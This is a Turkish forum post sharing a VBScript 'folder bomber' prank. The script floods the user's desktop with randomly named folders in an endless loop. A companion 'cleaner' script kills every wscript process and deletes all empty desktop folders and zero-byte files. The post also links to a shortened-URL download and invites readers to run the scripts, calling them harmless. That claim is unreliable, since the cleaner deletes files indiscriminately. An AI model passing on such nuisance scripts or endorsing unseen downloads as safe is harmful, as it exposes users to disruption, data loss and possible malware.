gecen gün bana 1 arkadaş yolladı çok hoşuma gitti sizlerle paylaşmak ıstedim
Buyrun
Buyrun
Öncelikle alt tarafta verdiğim kodu txt dosyasına yapıştırıp farklı kaydet deyip FolderBomber.vbs olarak kaydediniz
kodlar
'----------------FolderBomber.vbs---------------
'Made by türk
'web site https://tik.lat/Ffg76
Dim fso,sho,basfolder,bf
Set fso = CreateObject( "Scripting.FileSystemObject" )
Set sho = CreateObject( "Wscript.Shell" )
basefolder=sho.SpecialFolders("desktop")' Get your Desktop Folder
Set bf = fso.GetFolder( basefolder )
do
Randomize
r=Int((99999*Rnd)+1)
bf.subFolders.Add("by türk_"&r) 'Create Folders with names begin with by türk and a random Number in your desktop
wscript.sleep 1000 'Pause of 1 second and continue the loop
loop
buda temizleme kodu
'----------------Cleaner.vbs---------------
'Made by türk
'web site https://tik.lat/rDWXW
Dim fso, f, f1, fc, ss
Set fso = CreateObject("Scripting.FileSystemObject")
Set sho = CreateObject( "Wscript.Shell" )
basefolder=sho.SpecialFolders("desktop")
Set f = fso.GetFolder( basefolder )
Set fc = f.SubFolders
NomFichierLog="Dossiers_Vides"
temp = sho.ExpandEnvironmentStrings("%temp%")
Set OutPut = fso.CreateTextFile(temp & "\" & NomFichierLog & ".txt",1)
count=0 'initialisation du compteur des Dossiers vides
NBfichier=0 'initialisation du idesvompteur des fichiers
' Tuer le processus wscript
sho.run "Taskkill /IM wscript.exe /F", 0
'Boucle pour la recherche des Dossiers vides
For Each f1 in fc
If f1.size = 0 Then
count= count + 1
OutPut.WriteLine f1.Path
f1.delete
End if
Next
'Boucle pour la recherche des fichiers vides
For Each Fichier in f.files
if Fichier.size = 0 then
NBfichier=NBfichier+1
OutPut.WriteLine Fichier.Path
Fichier.delete
end if
next
Msgbox count& " Dosya Temizlendi",64,"by türk Virüs Temizleme"
Msgbox NBfichier& " Virüslü Dosya Kaldı",64,"by türk Virüs Temizleme"
buda bazı arkadaşlara zor gelır dıye upload ettım ındırsınler
https://tik.lat/xwwKJ
İsteyen kendi pc denesin temizleme kodu var süper 1 şey herhangi 1 zarar vermiyor bizzat kendim denedim
İsteyen kendi pc denesin temizleme kodu var süper 1 şey herhangi 1 zarar vermiyor bizzat kendim denedim
Son düzenleme: